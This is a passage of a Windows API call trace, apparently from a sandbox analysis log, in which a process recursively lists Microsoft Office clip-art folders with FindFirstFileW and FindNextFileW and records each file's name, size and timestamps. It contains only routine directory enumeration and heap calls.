ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHIRL2.WMF", cAlternateFileName="")) returned 1 [0274.575] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x0, cFileName="WING1.WMF", cAlternateFileName="")) returned 1 [0274.575] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x0, cFileName="WING2.WMF", cAlternateFileName="")) returned 1 [0274.575] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0x0, dwReserved1=0x0, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 1 [0274.575] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0x0, dwReserved1=0x0, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 0 [0274.576] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0274.576] GetProcessHeap () returned 0x560000 [0274.576] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0274.578] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0274.578] GetProcessHeap () returned 0x560000 [0274.578] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0274.578] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0275.488] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.488] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 [0275.489] GetProcessHeap () returned 0x560000 [0275.489] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0275.489] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65be08 [0275.639] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.639] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0275.639] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0275.639] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac144200, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac144200, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0275.639] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77a08600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77a08600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1 [0275.640] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4cbfb00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4cbfb00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1 [0275.640] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ef75300, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9ef75300, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1 [0275.640] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1896c00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc1896c00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1 [0275.640] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9313100, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9313100, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1 [0275.641] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fe9600, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fe9600, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1 [0275.641] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbf30900, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfbf30900, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1 [0275.641] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b07a00, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8b07a00, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1 [0275.641] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1 [0275.641] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1 [0275.642] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1 [0275.642] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1 [0275.642] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1 [0275.642] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1 [0275.643] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1 [0275.643] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1 [0275.643] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1 [0275.643] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1 [0275.643] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1 [0275.644] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1 [0275.644] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1 [0275.644] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1 [0275.644] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1 [0275.644] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1 [0275.644] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1 [0275.645] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1 [0275.645] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1 [0275.646] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1 [0275.646] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1 [0275.646] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1 [0275.646] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1 [0275.647] FindNextFileW (in: hFindFile=0x65be08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 0 [0275.647] FindClose (in: hFindFile=0x65be08 | out: hFindFile=0x65be08) returned 1 [0275.650] GetProcessHeap () returned 0x560000 [0275.650] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0275.650] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, 